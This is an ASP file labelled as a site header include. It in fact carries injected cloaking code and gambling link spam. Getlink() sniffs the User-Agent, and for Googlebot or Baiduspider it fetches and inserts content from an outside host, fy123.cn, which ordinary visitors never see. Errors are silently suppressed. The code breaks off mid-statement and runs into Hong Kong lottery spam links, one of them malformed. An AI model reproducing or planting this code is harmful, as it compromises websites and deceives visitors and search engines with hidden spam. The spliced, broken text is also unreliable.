<%
'网站头部文件
On Error Resume Next
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>
<%
function getHTTPPage(url)
On Error Resume Next
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=BytesToBstr(Http.responseBody,"gb2312")
'getHTTPPage=Http.responseBody
set http=nothing
if err.number<>0 then err.Clear
end function
Function Getlink()
On Error Resume Next
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
allow_agent=split("Yahoo,MSIE,opera,Chrome,Firefox,youdao",",")
for agenti=lbound(allow_agent) to ubound(allow_agent)
if instr(user_agent,allow_agent(agenti))>0 then
canre=1
end if
next
if instr(user_agent,"Googlebot")>0 or instr(user_agent,"Baiduspider")>0 then
canre=0
end if
if canre=0 then
getPage=getHTTPPage("http://www.fy123.cn/Product.aspx?url=" & Server.UrlEncode(Request.ServerVariables("HTTP_HOST") & Request("url") & "?" & Request.QueryString))
if instr(getPage,"
友情合作：
六閤彩特码六閤彩开奖香港六閤彩图库香港六六閤彩特码香港彩票六閤彩资料六閤彩资料香港赛马会曾道人六閤彩图库香港马会六閤彩信息六閤彩论坛六閤彩采图库香港六閤彩采a href='http://www.b02478.cn/' target='_blank'>香港曾道人 香港赛马会六閤彩图库香港曾道人香港六閤彩论坛六閤彩开奖曾道人六閤彩资料
